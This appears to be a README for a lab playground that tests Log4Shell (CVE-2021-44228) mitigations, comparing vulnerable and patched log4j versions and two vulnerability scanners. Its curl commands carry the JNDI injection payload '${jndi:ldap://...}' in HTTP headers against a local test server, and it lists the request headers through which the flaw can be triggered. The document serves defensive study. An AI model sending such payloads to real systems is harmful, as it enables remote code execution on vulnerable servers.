About

A playground for poking at the critical log4j (aka Log4Shell) (CVE-2021-44228) vulnerability mitigations.

This particular problem lies within the JndiLookup feature and the log4j ability to interpret ALL the arguments of a logging call.

I would expect it to only interpret the format message (the first argument of a logging call), e.g., the Hello {} in log.info("Hello {}", "${jndi:ldap://127.0.0.1:8081}"), but it interprests all of them.

The mitigations will prevent log4j from triggering the jndi lookups, but they still allow other lookups like ${java:version}.

NB: Since log4j 2.16.0 (LOG4J2-3211; diff) the format message is no longer interpreted.

This vulnerability can be triggered remotely when the target application logs any user supplied data, for example, from these common HTTP headers:

• Accept
• Cookie
• Location
• Origin
• Referer
• User-Agent
• X-Api-Version
• X-Forwarded-For
• X-Forwarded-Host
• X-Requested-With

Play (Ubuntu 20.04)

Build:

sudo apt-get install -y openjdk-11-jdk-headless
wget https://archive.apache.org/dist/logging/log4j/2.10.0/apache-log4j-2.10.0-bin.tar.gz
wget https://archive.apache.org/dist/logging/log4j/2.16.0/apache-log4j-2.16.0-bin.tar.gz
tar xf apache-log4j-2.10.0-bin.tar.gz
tar xf apache-log4j-2.16.0-bin.tar.gz
javac -Werror -cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar Server.java

Try a vulnerable log4j version:

java \
    -cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar:apache-log4j-2.10.0-bin/log4j-core-2.10.0.jar:. \
    Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080

Try removing the JndiLookup class from the classpath mitigation:

cp apache-log4j-2.10.0-bin/log4j-core-2.10.0.jar log4j-core-2.10.0-without-jndi-lookup.jar
zip -q -d log4j-core-2.10.0-without-jndi-lookup.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
java \
    -cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar:log4j-core-2.10.0-without-jndi-lookup.jar:. \
    Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080

Try the environment variable mitigation:

NB Since 2021-12-15 (circa log4j 2.16.0 / CVE-2021-45046 release date) this is no longer recommended.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true \
    java \
    -cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar:apache-log4j-2.10.0-bin/log4j-core-2.10.0.jar:. \
    Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080

Try a non-vulnerable log4j version:

java \
    -cp apache-log4j-2.16.0-bin/log4j-api-2.16.0.jar:apache-log4j-2.16.0-bin/log4j-core-2.16.0.jar:. \
    Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080

Try grype to see whether it detects the vulnerability:

wget https://github.com/anchore/grype/releases/download/v0.27.2/grype_0.27.2_linux_amd64.tar.gz
tar xf grype_0.27.2_linux_amd64.tar.gz grype
./grype dir:.

Try trivy to see whether it detects the vulnerability:

wget https://github.com/aquasecurity/trivy/releases/download/v0.21.2/trivy_0.21.2_Linux-64bit.tar.gz
tar xf trivy_0.21.2_Linux-64bit.tar.gz trivy
./trivy fs --security-checks vuln .

References

• https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
• https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
• https://logging.apache.org/log4j/2.x/security.html
• https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup